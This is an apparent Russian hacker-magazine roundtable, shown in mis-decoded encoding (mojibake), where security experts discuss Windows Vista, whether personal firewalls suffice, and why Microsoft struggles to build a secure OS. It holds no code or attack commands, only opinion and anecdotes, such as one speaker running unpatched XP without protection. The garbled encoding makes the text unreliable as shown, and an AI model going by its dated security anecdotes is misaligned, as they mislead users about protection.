ìîæíî ðåàëèçîâàòü ñàìîñòîÿòåëüíî, íàïèñàâ íåñëîæíóþ ïðîãðàììó, ñàìà òåíäåíöèÿ ìåíÿ ñèëüíî «àííî-
èò». Íå ïîìíþ, êòî ñêàçàë: «ß íå ìîãó ðàáîòàòü èíñòðóìåíòîì, ñîâåðøåíñòâóþùèìñÿ ó ìåíÿ â ðóêàõ», —
òàê âîò, ê ýòîìó ïîëíîñòüþ ïðèñîåäèíÿþñü. Ïî÷åìó, ÷åðò âîçüìè, ïîñòàâèâ ñèñòåìó, ÿ ïåðâûì äåëîì
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äîëæåí ïðèâîäèòü åå â íàèáîëåå ïðèâû÷íûé ìíå âèä, çà÷àñòóþ äîïèñûâàÿ êó÷ó óòèëèò, õà÷àùèõ ñèñòå-
ìó â îáõîä ïðåäîñòàâëåííûõ åé âîçìîæíîñòåé?! Äëÿ ñåáÿ ÿ ðåøèë, ÷òî áóäó ñèäåòü íà w2k, ïîêà ýòî âîç-
ìîæíî. À ïîòîì ìèãðèðóþ íà BSD, ïîñêîëüêó òàì çà ìåíÿ íèêòî íè÷åãî íå ðåøàåò è íè÷åãî íå íàâÿçûâà-
åò. Ïîïðîáóé, íàïðèìåð, â XP âûáðàòü âåðñèþ NTFS :). Áîëüøèíñòâî äàæå íå äîãàäûâàåòñÿ, ÷òî ó NTFS
åñòü âåðñèè...
ÌÈÕÀÈË ÔÔËÅÍÎÂ: Ìåíÿ óñòðàèâàåò Windows XP ñâîåé ïðîñòîòîé, óäîáñòâîì è áåçîïàñíîñòüþ, ïîýòîìó
íà äàííûé ìîìåíò ìíå áîëüøå íè÷åãî íå íóæíî.
ÊÈÐÈËË ÁÁËÀÆÅÍÍÎÂ: Äà ÿ óæå äîæäàëñÿ: ñòîÿëè ó ìåíÿ íà ÏÊ ïîî÷åðåäíî beta1, beta2 è RC1. Ïîýòî-
ìó òóò óìåñòíåå ãîâîðèòü î âïå÷àòëåíèÿõ è ñðàâíèòü èõ ñ îæèäàíèÿìè. Æäàë ÿ, â ïåðâóþ î÷åðåäü, ïðî-
æîðëèâîñòè, êîòîðàÿ ïðåâçîøëà âñå ìîè îæèäàíèÿ. Äóìàþ, íè äëÿ êîãî Àìåðèêó ýòèì ôàêòîì íå îòêðûë.
Íåïðîøåííàÿ ñåòåâàÿ àêòèâíîñòü ó ýòîé ÎÑ òîæå íà ïîðÿäîê âûøå ñâîåãî ïðåäêà.
Êàê ïîëüçîâàòåëü, æäàë óëó÷øåíèÿ þçàáèëèòè, íîâîãî èíòåðôåéñà. Ñèìïàòè÷íî ïîëó÷èëîñü, ñïîðó íåò.
Ïðàâäà, êàðòèíêè ÿ óæå âèäåë â íîâîé MacOS, à ãðàôè÷åñêèå ýôôåêòû â ëèíóêñîâîì XGL. Êàê ïðîãðàì-
ìèñò, æäàë, ÷òî Microsoft îïÿòü ðåâîëþöèîííî ïîìåíÿåò ïîäõîä ê ïðîãðàììèðîâàíèþ... íà áëèæàéøèå ãî-
äà äâà. Äîæäàëñÿ. Êîíå÷íî, ïîâûøåííîå âíèìàíèå óäåëåíî âîïðîñàì áåçîïàñíîñòè: òåïåðü âñå ïðîöåñ-
ñû ïî óìîë÷àíèþ çàïóñêàþòñÿ ñ ïðèâèëåãèÿìè îáû÷íîãî ïîëüçîâàòåëÿ. Ââåäåíà íîâàÿ òåõíîëîãèÿ âèðòó-
àëèçàöèè, ñìûñë êîòîðîé — â ïåðåíàïðàâëåíèè ïîòîêîâ çàïèñè èç Program Files è ðååñòðà â ïàïêó ïîëü-
çîâàòåëÿ è òàê äàëåå.
ÌÈÕÀÈË ÔÔÈØÌÀÍ: Íîâûõ ïðîáëåì è íîâîãî ãðàôè÷åñêîãî èíòåðôåéñà. ß ïëîõî ïðåäñòàâëÿþ ñåáå
áûñòðûé ïåðåõîä ïîëüçîâàòåëåé íà äðóãóþ ÎÑ, îñîáåííî ó÷èòûâàÿ, ÷òî çàâåðåíèÿ Microsoft î ïîëíîé îá-
ðàòíîé ñîâìåñòèìîñòè íà ïðàêòèêå íå âñåãäà ñáûâàþòñÿ. Äà, òàì áóäóò íîâûå ýëåìåíòû ãðàôèêè, íîâûé
«Öåíòð áåçîïàñíîñòè», íîâûå óäîáñòâà äëÿ ðàáîòû ïîëüçîâàòåëåé, íî íè÷åãî ðåâîëþöèîííîãî íå áóäåò. 

Ëè÷íî ÿ ïîäîæäó ïåðâîãî ñåðâèñ-ïàêà äëÿ ñèñòåìû è òîãäà ïîñìîòðþ, ÷òî îíà èç ñåáÿ ïðåäñòàâëÿåò.
Ïîêà ÷òî, èñõîäÿ èç ïðåññ-ðåëèçîâ Microsoft è áåòà-ñáîðîê, — ïðîñòî åùå îäíà ÎÑ ñåìåéñòâà Windows.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Î÷åðåäíàÿ ãðàôè÷åñêàÿ ñèñòåìà, êîòîðàÿ æðåò åùå áîëüøå ðåñóðñîâ
ïîïóñòó, âîò è âñå. Äî ñèõ ïîð ñèæó íà ïåðåïàõàííîì âäîëü è ïîïåðåê win2k è íå æàëóþñü.
ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Æäó îò Vista òîëüêî ïîëîæèòåëüíîãî. Ïðåæäå âñåãî, ýòî íîâûå òåõíîëî-
ãèè ïðîãðàììèðîâàíèÿ, ïîëíîñòüþ îòâå÷àþùèå âñåì ñîâðåìåííûì òðåáîâàíèÿì (ìîùíûå, óäîáíûå è
ýôôåêòèâíûå). Òàêæå, îöåíèâàÿ Vista Beta 2, ìîãó ñêàçàòü, ÷òî ÎÑ Vista — óäîáíàÿ â èñïîëüçîâàíèè è
ýôôåêòèâíàÿ â ðàáîòå ñèñòåìà. Åñëè ãîâîðèòü î áåçîïàñíîñòè, â íåé ïîÿâèëîñü ìíîãî íîâûõ òåõíîëîãèé.
Óäîáíû ëè îíè ñ òî÷êè çðåíèÿ îáû÷íîãî ïîëüçîâàòåëÿ (åñòåñòâåííî, ñèäåòü ïîä àäìèíèñòðàòîðñêèì àê-
êàóíòîì ïðè âûïîëíåíèè ïîâñåäíåâíûõ çàäà÷ — óäîáíåå) èëè íåò — äðóãîé âîïðîñ. Íî òî, ÷òî ýòè òåõíî-
ëîãèè åñòü, íåïëîõî ðàáîòàþò è ïîñòîÿííî óëó÷øàþòñÿ (ñðàâíèâàÿ äàæå ñ Beta 1, íå ãîâîðÿ óæå
î Preview) — î÷åâèäíî. Êîíå÷íî, â ÎÑ Vista åùå îãðîìíîå êîëè÷åñòâî îøèáîê è ìåëêèõ íåäîðàáîòîê. Íî,
äóìàþ, ñ âûõîäîì ýòîé ñèñòåìû áîëüøàÿ ÷àñòü ïðîáëåì áóäåò óñòðàíåíà.
ÇÀÐÀÇÀ: ×óäåñ íå æäó. Åùå 5 ëåò íàçàä ìíîãèå ñïåöèàëèñòû ñêëîíÿëèñü ê ìûñëè, ÷òî íàèáîëåå ýô-
ôåêòèâíàÿ ëîêàëüíàÿ çàùèòà — ñåïàðàöèÿ ïðèëîæåíèé ïî ðàçëè÷íûì ïðèçíàêàì, ñîçäàíèå çîí áåçî-
ïàñíîñòè è óðîâíåé äîâåðåííîñòè âíóòðè îäíîé ñèñòåìû. Íåêîòîðûå ïðîèçâîäèòåëè ïåðñîíàëüíûõ
ôàéðâîëîâ èñïîëüçóþò òàêîé ïîäõîä, îí æå èñïîëüçóåòñÿ è â ïðîäóêòàõ òèïà GSWall. Ñåé÷àñ áîëüøàÿ
÷àñòü ïðîèçâîäèòåëåé íà÷èíàþò äâèãàòüñÿ â ýòó ñòîðîíó. Microsoft — íå èñêëþ÷åíèå. Ñíà÷àëà ïîÿâè-
ëèñü çîíû áåçîïàñíîñòè â Internet Explorer, ïîòîì ôóíêöèÿ RunAs, çàòåì ðàçíûå ó÷åòíûå çàïèñè äëÿ
ðàçíûõ òèïîâ ñëóæá. Åùå ïîçäíåå — çà÷àòî÷íûé ôóíêöèîíàë äëÿ çàïóñêà ïðèëîæåíèÿ â îãðàíè÷åí-
íîì ðåæèìå. Â ýòîì íàïðàâëåíèè ïîéäåò ðàçâèòèå è äàëüøå.

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Ôàéðâîë âñþ æèçíü ïðèìåíÿëñÿ äëÿ ðàçãðàíè÷åíèÿ èíòåðíåò è èíòðàíåò-òðàôèêà.
Ýòî êîãäà â ëîêàëêå ñòîèò SQL-ñåðâåð, ftp, ñåðâåð ïå÷àòè, à ïàðîëè ñòàâèòü íà âñå ýòî õîçÿéñòâî ëåíü.
Âîò è ïðèäóìàëè — íà ìàøèíó, ñìîòðÿùóþ â èíòåðíåò, ñòàâèòñÿ ôàéðâîë è îòñåêàåò âñåõ âíåøíèõ ïîëü-
çîâàòåëåé îò ðåñóðñîâ. Åñëè ëîêàëêè íåò — ôàéðâîë íàôèã íå ñäàëñÿ, òåì áîëåå ëîêàëüíûé. Íó, äëÿ íàá-
ëþäåíèÿ çà àêòèâíîñòüþ ëåãàëüíûõ ïðèëîæåíèé îí åùå ñîéäåò, íî èçíóòðè åãî î÷åíü ëåãêî îáîéòè, ÷òî æå
êàñàåòñÿ âíåøíåãî ìèðà… Äà, ó MS, êàê âñåãäà, âñå ñäåëàíî ÷åðåç ïîïó. Ìàøèíà ñëóøàåò êó÷ó ïîðòîâ,
â êîòîðûõ ïîëüçîâàòåëü íå íóæäàåòñÿ, íî îòêëþ÷èòü èõ áåç áóáíà íå ìîæåò. Âîò è ïðèäóìàëè — àãà, ñåé-
÷àñ ìû ïîñòàâèì ôàéðâîëü÷èê, ÷òîáû èõ ìîæíî áûëî çàêðûâàòü. Íî ýòî âñå ðàâíî êàê ïðîðóáèòü äâåðü,
à ïîòîì åå çàêëåèòü áóìàãîé. Â íèêñàõ ñ ýòèì ïðîùå — åñëè êàêîé-òî êîìïîíåíò íå íóæåí, îí èäåò â òîïêó.

Äðóãîå äåëî, ÷òî â êîðîáêó ñ íàäïèñüþ «ïåðñîíàëüíûé ôàéðâîë» íîðîâÿò çàñóíóòü âñÿêóþ ôèãíþ,
íàïðèìåð ñèñòåìó îáíàðóæåíèÿ âòîðæåíèé, êîòîðàÿ îòñåêàåò ÷àñòü àòàê, íî ê ôàéðâîëó ýòî íå èìååò íè-
êàêîãî îòíîøåíèÿ. Ñ òàêèì æå óñïåõîì ê íåìó ìîãëè ïðèêðóòèòü àíòèâèðóñ (è âåäü ïðèêðó÷èâàþò) èëè
äðóãóþ øòóêó...
ÀÍÀÒÎËÈÉ ÑÑÊÎÁËÎÂ: Ôàéðâîëà, çàùèùàþùåãî îò àòàêè ñíàðóæè (ïåðñîíàëüíûé ôàéðâîë íà
êîìïüþòåðå èëè âñòðîåííûé â ëè÷íûé ðîóòåð), äîñòàòî÷íî, åñëè íà êîìïüþòåðå íåò óÿçâèìîãî ñîôòà
è ïîëüçîâàòåëü íå èìååò äóðíîé ïðèâû÷êè çàïóñêàòü ðàçëè÷íóþ äðÿíü, ïðèøåäøóþ â ïî÷òå èëè íàéäåí-
íóþ íà ñàéòàõ.

ÇÀÐÀÇÀ

Ðóêîâîäèòåëü ñëóæáû
ïîääåðæêè ïîëüçîâàòåëåé
äîâîëüíî êðóïíîãî ISP.
Õîááè — ðàçðàáîòêà
ïðîãðàììíîãî îáåñïå÷åíèÿ,
â ÷àñòíîñòè, ïðîåêò
3proxy (www.security.
nnov.ru/soft/3proxy/).
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Âñòðîåííûå â ïåðñîíàëüíûå ôàéðâîëû êîíòåíò-ôèëüòðû ÷àùå âñåãî áåñïîëåçíû äëÿ îáåñïå÷å-
íèÿ áåçîïàñíîñòè îáû÷íîãî ïîëüçîâàòåëÿ, ïîñêîëüêó, íàñòðîåííûå â ðåæèìå «ìî÷èòü âñå» (activeX,
javascript è ò.ä.), äåëàþò æèçíü íåâûíîñèìîé. À äåëàòü èíäèâèäóàëüíóþ íàñòðîéêó ïîä êàæäûé ñàéò
îáû÷íûé ïîëüçîâàòåëü íåñïîñîáåí. È, â ëþáîì ñëó÷àå, äàæå õîðîøî íàñòðîåííûå ôàéðâîëû íå äàþò
100% çàùèòû, à ëèøü ñíèæàþò ðèñê.
ÌÈÕÀÈË ÔÔËÅÍÎÂ: ×òîáû ÷óâñòâîâàòü ñåáÿ êîìôîðòíî, ëó÷øå íå èìåòü êîìïüþòåðà :). À åñëè ñåðüåç-
íî, òî ó ìåíÿ òðè êîìïüþòåðà è íà îäíîì èç íèõ íèêîãäà íå áûëî àíòèâèðóñà, íèêîãäà íå áûëî ñåòåâîãî
ýêðàíà, è îí íè ðàçó íå îáíîâëÿëñÿ — çà 4 ãîäà íè îäíîãî ïàò÷à. Íå ïîâåðèøü, íî òàì ñòîèò áàíàëüíûé
Windows XP. Ïðè ýòîì îí ÷àñòî íàõîäèòñÿ â Ñåòè, ÿ åãî î÷åíü ÷àñòî èñïîëüçóþ êàê ìàðøðóòèçàòîð äëÿ
ïîäêëþ÷åíèÿ â èíòåðíåò ñâîèõ «áóêîâ». Íè îäèí èç ìîèõ êîìïüþòåðîâ åùå íå âçëàìûâàëè, ÿ íå âèäåë
àêòèâíûõ âèðóñîâ óæå ëåò 8 è ÷óâñòâóþ ñåáÿ ñóõî è êîìôîðòíî.
ÊÈÐÈËË ÁÁËÀÆÅÍÍÎÂ: Äëÿ áîëüøèíñòâà äîñòàòî÷íî. Õîòÿ áû ïîòîìó, ÷òî ôàéðâîë ïðåêðàñíî çàùè-
ùàåò îò òèïîâûõ óãðîç, à îò ïðîôåññèîíàëà çàùèòèò âðÿä ëè. Ýòî êàê äîìîôîí: ïðîòèâ áîìæåé ðàáîòà-
åò, íî îò çàêàçíûõ óáèéö íå ñïàñåò.

Îáîéòè ôàéðâîë êàê òàêîâîé — ïðîöåññ âûïîëíèìûé, íî äîâîëüíî íåòðèâèàëüíûé. À ïîñêîëüêó îí
íåòðèâèàëüíûé, òî ïðèìåíÿåòñÿ äëÿ ñåðüåçíîãî è óçêîãî êðóãà çàäà÷. Ñîìíåâàþñü, ÷òî ó òåáÿ íà ÏÊ åñòü
äàííûå, êîòîðûå ìîãëè áû çàèíòåðåñîâàòü ïðîôåññèîíàëà. Îïÿòü æå, ïî ïîâîäó ýêñïëîéòîâ: åùå íè ðà-
çó íå âèäåë, ÷òîáû ñåòåâîå õóëèãàíüå ìåëêîãî ïîøèáà áûëî ñïîñîáíî íàéòè áîëåå-ìåíåå ñåðüåçíûé ðà-
áîòàþùèé ýêñïëîéò, óæ íå ãîâîðÿ î òîì, ÷òîáû åãî íàêîäèòü. 
À «÷óâñòâîâàòü ñóõî è êîìôîðòíî» — ïñèõîëîãè÷åñêîå ñîñòîÿíèå ÷åëîâåêà è çàâèñèò îíî, â ÷àñòíîñòè,
îò ãëóáèíû è êîëè÷åñòâà çíàíèé î òîì, ÷òî òâîðèòñÿ íà ëè÷íîì ÏÊ.
ÌÈÕÀÈË ÔÔÈØÌÀÍ: Íåò! Ñåãîäíÿ íà ðûíêå ÷àñòî âñòðå÷àþòñÿ êîìïëåêñíûå ðåøåíèÿ «ôàéðâîë äëÿ
äîìà, äëÿ ñåìüè», îäíàêî êàæäàÿ ïðîãðàììà äîëæíà âûïîëíÿòü òîëüêî ñâîþ, êîíêðåòíóþ çàäà÷ó. Åñëè
ôàéðâîë íà÷èíàåò áëîêèðîâàòü áàííåðû íà ñàéòàõ èëè âûëàâëèâàòü AdWare — òî ýòî óæå íå ôàéðâîë,
à ãèáðèä èäåè ñ öåëüþ ïðîäàòü ïðîäóêò ïîäîðîæå. Òàêîé ãèáðèä âðÿä ëè ñìîæåò â îäèíî÷êó ïðîòèâîñòî-
ÿòü âñåì íàïàñòÿì, êîòîðûå ìîãóò îáðóøèòüñÿ íà ïåðñîíàëüíûé êîìïüþòåð. Ñ ó÷åòîì ñåãîäíÿøíèõ ðåà-
ëèé, íà êëèåíòñêîé ìàøèíå (ïîä óïðàâëåíèåì Windows) îáÿçàíû áûòü: ôàéðâîë, àíòèâèðóñ, âûëàâëèâà-
òåëü AdWare/SpyWare.

Íî õîðîøóþ ðàáîòó ëþáûõ ïðîãðàìì ìîæåò íà÷èñòî ïåðå÷åðêíóòü ïîëüçîâàòåëü, íå ñîáëþäàþùèé
îñíîâíûå ïîñòóëàòû áåçîïàñíîñòè. Åñëè õîäèòü íà íåçíàêîìûå ñàéòû Internet Explorer'îì, íå çàäóìûâà-
ÿñü îòêðûâàòü àòòà÷è â email'àõ, ðàñøàðèâàòü äèñêè âñåé Ñåòè, âîâðåìÿ íå îáíîâëÿòü ñèñòåìó è òàê
äàëåå, òî òóò äàæå ñàìàÿ óìíàÿ ïðîãðàììà íå ñìîæåò ïîìî÷ü èçáåæàòü âèðóñà èëè âçëîìà. Ãðàìîòíûé
ïîëüçîâàòåëü — ýòî óæå õîðîøàÿ çàùèòà. À èíñòðóìåíòû (àíòèâèðóñ, ôàéðâîë, àíòèñïàéâàð) èìåþò
ìåíüøåå çíà÷åíèå, ÷åì ÷åëîâå÷åñêèé ôàêòîð.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Ìíå, ïî êðàéíåé ìåðå, òî÷íî íåäîñòàòî÷íî. Ñîâåòóþ êàê ñëåäóåò èçó-
÷èòü îñíîâíûå ëîãè÷åñêèå öåïè áåçîïàñíîñòè è ïîïðàâèòü èõ ðó÷êàìè â ðååñòðå. È ïîëüçîâàòüñÿ àïäåé-
òàìè è ïàò÷àìè. Òàêæå ñîâåòóþ íà âõîäå ïîñòàâèòü FreeBSD+IPFW+Nat+squid (ïî æåëàíèþ). Òîãäà âíóò-
ðè áóäåò áåçîïàñíåå (îòíîñèòñÿ ê òåì, ó êîãî äîìà êîìïîâ áîëüøå, ÷åì îäèí, à òàêèõ ñåé÷àñ íåìàëî).
ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: «Ïðîäâèíóòûé» ïîëüçîâàòåëü ñìîæåò èñïîëüçîâàòü âîçìîæíîñòè ôàéð-
âîëà äëÿ çàùèòû ñèñòåìû íà 90% ïðîöåíòîâ. Äëÿ îáû÷íîãî ïîëüçîâàòåëÿ èìååò ñìûñë óñòàíîâèòü äî-
ïîëíèòåëüíîå ÏÎ. Òåì íå ìåíåå, ïîñòîÿííàÿ óñòàíîâêà ïàò÷åé íà ÎÑ — îáÿçàòåëüíà äëÿ ëþáûõ ïîëüçî-
âàòåëåé, òàê êàê îíà èçáàâëÿåò îò ìíîãèõ äîïîëíèòåëüíûõ ïðîáëåì ñ çàùèùåííîñòüþ ñèñòåìû.

À âîîáùå, ÏÎ êàê òàêîâîå ïîíåìíîãó íà÷èíàåò óòðà÷èâàòü ñâîþ ðîëü â ïðîöåññå îáåñïå÷åíèÿ áå-
çîïàñíîñòè. Ñî âðåìåíåì ýòà òåíäåíöèÿ áóäåò òîëüêî óâåëè÷èâàòüñÿ. Ãëàâíóþ ðîëü íà÷èíàåò èãðàòü «÷å-
ëîâå÷åñêèé ôàêòîð», â ïåðâóþ î÷åðåäü — óìåíèå ïîëüçîâàòåëÿ îñîçíàííî ðàáîòàòü â ñèñòåìå è ñ íåé.
Âñå ñîâðåìåííûå àòàêè â îñíîâíîì ðàññ÷èòàíû èìåííî íà ÷åëîâå÷åñêèé ôàêòîð. Ñëåäñòâèå: íà ñîîòâåò-
ñòâóþùèé ñîôò íóæíî ïîëàãàòüñÿ êàê ìîæíî ìåíüøå è îòíîñèòüñÿ ê ðåçóëüòàòàì åãî ðàáîòû ñêåïòè÷åñêè.
ÇÀÐÀÇÀ: Ñîâåðøåííî íåäîñòàòî÷íî. Áîëåå òîãî, ïåðñîíàëüíûé ôàéðâîë — íå ñàìûé íàäåæíûé ñïîñîá
çàùèòû. Íàïðèìåð, âíåäðåíèå íåïðèâèëåãèðîâàííûõ ó÷åòíûõ çàïèñåé äàñò ãîðàçäî áîëüøå. Áîëüøàÿ
÷àñòü òðîÿíñêèõ ïðîãðàìì è áýêäîðîâ íå ñðàáîòàþò, åñëè ó çàïóñòèâøåãî èõ ïîëüçîâàòåëÿ íåò ïðèâèëå-
ãèé àäìèíèñòðàòîðà. À ãëàâíîå — íè îäèí èíñòðóìåíò çàùèòû íå ïîìîæåò, åñëè òîò, êòî ñèäèò çà êîìïü-
þòåðîì, íå ïîëüçóåòñÿ ñîáñòâåííîé ãîëîâîé.
ÍÈÊÎËÀÉ ÀÀÍÄÐÅÅÂ: Ôàéðâîë — ýòî õîðîøåå ñðåäñòâî îãðàíè÷åíèÿ äîñòóïà â Ñåòü òâîèõ ïðèëîæå-
íèé. È òîëüêî. Îò ñîâðåìåííîãî ïðèâàòíîãî òðîÿíà ôàéðâîë (êàêîé áû îí êðóòîé íè áûë) íå óáåðåæåò.
À âîò âñÿêóþ ìåëêóþ äðÿíü îòñåÿòü ñìîæåò. Ó ìåíÿ ôàéðâîë íå ñòîèò òîëüêî ïî òîé ïðè÷èíå, ÷òî ÿ íå ñêà-
÷èâàþ èç Ñåòè êàêèõ-òî ïîäîçðèòåëüíûõ ïðèëîæåíèé è íå çàïóñêàþ èõ ó ñåáÿ íà êîìïüþòåðå. À, ñëåäîâà-
òåëüíî, íåêîìó ìíå çàïðåùàòü âûëåçàòü â Ñåòü.

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Òàêóþ ñèñòåìó åùå íå ñäåëàë íèêòî. Äàæå íà OpenBSD åñòü ïÿòíà. ×òî æå êàñàåòñÿ
MS, òî îíà, ïîõîæå, ðàáîòàåò â îáðàòíîì íàïðàâëåíèè, ñîçäàâàÿ âñå óñëîâèÿ äëÿ ïðîöâåòàíèÿ õàêåðîâ.
Âñåì âåäü ïîíÿòíî: ÷åì ñèñòåìà ñëîæíåå, òåì áîëüøå âåðîÿòíîñòü îøèáêè. Åùå â ïðîøëîì âåêå âñåì áû-

ÍÈÊÎËÀÉ ÀÍÄÐÅÅÂ
«GORL»

Ðåäàêòîð æóðíàëà
«Õàêåð»,
ðóáðèêà «Êîäèíã». 
Ýêñ-âûïóñêàþùèé
ðåäàêòîð æóðíàëà 
«ÕàêåðÑïåö». Ðóòêèòû, 
âèðóñû, ÷åðâÿêè è ïðî÷àÿ
æèâó÷àÿ õðåíü, 
íàïèñàíèå êîòîðîé 
âïîëíå ìîæåò ïîïàñòü 
ïîä ñòàòüþ 273 ÓÊ ÐÔ — 
ïðåäìåò àíàëèçà è 
óâëå÷åíèÿ. Óñòðàèâàåò 
äîìà õàíèïîòû, 
èñêëþ÷èòåëüíî ÷òîáû 
ïîìó÷èòü î÷åðåäíîãî 
íîâîãî áåçîáèäíîãî 
÷åðâÿ÷êà. Ïðîñòî òàê.
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ëî èçâåñòíî, ÷òî ïîäàâëÿþùåå áîëüøèíñòâî ïîëüçîâàòåëåé èñïîëüçóåò ìåíåå 1% âîçìîæíîñòåé òîãî æå
Word'à, íå ãîâîðÿ óæå ïðî Windows API. Ñðàâíè åãî ñ UNIX'îì. Òàì íà íåñêîëüêî ïîðÿäêîâ ìåíüøå ôóíê-
öèé, è âåäü íèêòî íå æàëóåòñÿ, íàïðîòèâ, ïðîãðàììèñòû ïèøóò ïðîãðàììû â ñâîå óäîâîëüñòâèå.
ÀÍÀÒÎËÈÉ ÑÑÊÎÁËÎÂ: Âàðèàíò 1: ïîòîìó ÷òî â òàêîé ñèñòåìå íå çàõîòÿò ðàáîòàòü êëèåíòû. Âàðèàíò 2:
íåîáõîäèìî ñîõðàíèòü ñîâìåñòèìîñòü ñ ðàíåå ðàçðàáîòàííûìè ãëþêàìè.
ÌÈÕÀÈË ÔÔËÅÍÎÂ: Ïîòîìó ÷òî îøèáêè åñòü âñåãäà è âåçäå. Ïî÷åìó èìåííî MS ñòðàäàåò áîëüøå âñå-
ãî? Íà ýòî åñòü ïðè÷èíû:

1 ÎÍÀ ÑËÈØÊÎÌ ÏÎÏÓËßÐÍÀ.

2 ÎÍÀ Î×ÅÍÜ ×ÀÑÒÎ ÂÅÄÅÒ ÑÅÁß ÍÅÝÒÈ×ÍÎ, ÏÎÝÒÎÌÓ ÐÅÃÓËßÐÍÎ ÇÀÐÀÁÀÒÛÂÀÅÒ 
ÍÅÓÂÀÆÅÍÈÅ Â ÈÒ-ÑÎÎÁÙÅÑÒÂÅ È ÑÐÅÄÈ ÕÀÊÅÐÎÂ.

3 ÑËÈØÊÎÌ ÁÛÑÒÐÎ ÐÀÇÂÈÂÀÅÒÑß È Â ÎÄÈÍÎ×ÊÓ ÏÛÒÀÅÒÑß ÁÎÐÎÒÜÑß ÑÎ ÂÑÅÌÈ.

Ïî÷åìó Linux áûë è áóäåò ëó÷øå? Âñå áàíàëüíî — ïîòîìó ÷òî ýòà ÎÑ íå ìîíîëèòíà, à ñîçäàåòñÿ ìíîæå-
ñòâîì ðàçðàáîò÷èêîâ è ìíîæåñòâîì ôèðì. Íàïðèìåð, ÿäðî ñîçäàåò îäíà ôèðìà, ãðàôè÷åñêóþ ñèñòåìó
— äðóãàÿ, ñåòåâóþ — òðåòüÿ è ò.ä. Êàæäûé èç ýòèõ ìîäóëåé èäåàëüíî âûëèçûâàþò è îòëàæèâàþò. MS ïû-
òàåòñÿ âñå äåëàòü ñàìà, à ýòî âñåãäà õóæå.
ÊÈÐÈËË ÁÁËÀÆÅÍÍÎÂ: Ñîáñòâåííî, ïîòîìó ÷òî ãèãàíò. Ïîýòîìó è íå ìîæåò. Êàê ãîâîðèòñÿ, íîñîðîã
ïëîõî âèäèò, íî ïðè åãî âåñå ýòî óæå íå åãî ïðîáëåìû.

Âî-ïåðâûõ, â Microsoft (äà è íå òîëüêî) öèêë ðàçðàáîòêè ñåðüåçíîãî ÏÎ äëèòñÿ îò ãîäà äî ÷åòûðåõ
ëåò. Íàâåðíîå, ïðåäñòàâèë îáúåìû êîäà, ñ êîòîðûìè íàäî ðàáîòàòü? Çàäåéñòâîâàíî îãðîìíîå êîëè÷åñò-
âî íàðîäó íà âñåõ ñòàäèÿõ ðàçðàáîòêè. Êó÷à ðåñóðñîâ òðàòèòñÿ íà îáìåí èíôîðìàöèåé. À ÷åì áîëüøå
êîðïîðàöèÿ, òåì âûøå êîëè÷åñòâî áóìàæåê íà îäíîãî íåãðîêîäåðà. Äà è ðàñïðåäåëåííîñòü ðàñòåò. À ãäå
ó ëþáîé ñèñòåìû ñëàáûå ìåñòà? Ìåñòà ñîñòûêîâêè åå êîìïîíåíòîâ ìåæäó ñîáîé. È èñêðåííå ñî÷óâñòâóþ
òåì, êòî ñïðîåêòèðîâàë àðõèòåêòóðó è ïîä êîíåö ñîáèðàåò êóñêè â åäèíîå öåëîå...

Âî-âòîðûõ, ïðåäñòàâü, ñêîëüêî ïî âðåìåíè è äåíüãàì çàéìåò «ïðîñòî» ïåðåïðîåêòèðîâàíèå òàêîãî
ìîíñòðà. Ñïåöèàëèñòû, ïîëó÷àâøèå äîñòóï ê èñõîäíîìó êîäó Windows â ðàìêàõ ïðàâèòåëüñòâåííûõ
ïðîãðàìì, óòâåðæäàþò, ÷òî òàì ïðèñóòñòâóþò êîìïîíåíòû, êîòîðûå íå ìåíÿþòñÿ ñ íà÷àëà 90-õ! Òî åñòü
êîä íå ïåðåïèñûâàåòñÿ, à íîâûå ôóíêöèè ïðèêðó÷èâàþòñÿ ê ñòàðûì. È ýòî «ïðîñòî çàíîâî ñïðîåêòèðî-
âàòü». À òàê êàê âîïðîñ áåçîïàñíîñòè — îäèí èç ñàìûõ ñëîæíûõ â ðåøåíèè, òî âîçâåäè ñâîè ïðèêèäêè ïî
ïîâîäó ïðîåêòèðîâàíèÿ â êâàäðàò.

Â-òðåòüèõ, êîììåð÷åñêèå ñèñòåìû — ýòî âñåãäà íåêèé êîìïðîìèññ ìåæäó ïîêàçàòåëÿìè êà÷åñòâà è
âêëàäûâàåìûìè â íèõ ðåñóðñàìè. Ñîãëàñèñü, ÷òî ó êàæäîãî ðàçðàáîò÷èêà ñâîå âèäåíèå, è Microsoft —
íå èñêëþ÷åíèå: release often, release early, èíà÷å íå óäåðæèøüñÿ íà ðûíêå.

Â-÷åòâåðòûõ, êòî ñêàçàë, ÷òî íèêàêèõ òåëîäâèæåíèé ïî ýòîìó ïîâîäó íåò? Ðàçðàáàòûâàåìàÿ ïîä-
ðàçäåëåíèåì Microsoft Research ÎÑ ïîä íàçâàíèåì Singularity êàê ðàç ïðîåêòèðîâàëàñü è ïðîåêòèðóåòñÿ
èñõîäÿ èç ïîâûøåííûõ òðåáîâàíèé ê áåçîïàñíîñòè.
ÌÈÕÀÈË ÔÔÈØÌÀÍ: Ïîòîìó ÷òî ïðîáëåìà íå òàêàÿ ìàëåíüêàÿ, êàêîé êàæåòñÿ íà ïåðâûé âçãëÿä. Ìíî-
ãèå îøèáêè äî ñèõ ïîð íàõîäÿòñÿ â ÎÑ ñåìåéñòâà Windows ïî ïðè÷èíå òîãî, ÷òî èçíà÷àëüíûå èíæåíåð-
íûå ðàññ÷åòû MS íå ïðåäïîëàãàëè òàêîé àêòèâíîñòè è èçîáðåòàòåëüíîñòè âçëîìùèêîâ/âèðìåéêåðîâ.
Ïðîùå ãîâîðÿ, Microsoft íåäîîöåíèëà õàêåðîâ. Äëÿ òîãî ÷òîáû Microsoft ñîçäàëà ñèñòåìó áîëåå áåçî-
ïàñíóþ â áóêâàëüíîì ñìûñëå, íåîáõîäèìî ïðîåêòèðîâàòü ÎÑ ñ íóëÿ, ïðîäóìûâàòü çàíîâî ïðèíöèïû
âçàèìîäåéñòâèÿ ÿäðà ñ ïîëüçîâàòåëüñêèì îêðóæåíèåì, âîçìîæíî, äàæå íåìíîãî èçìåíèòü ïðèîðèòåòû
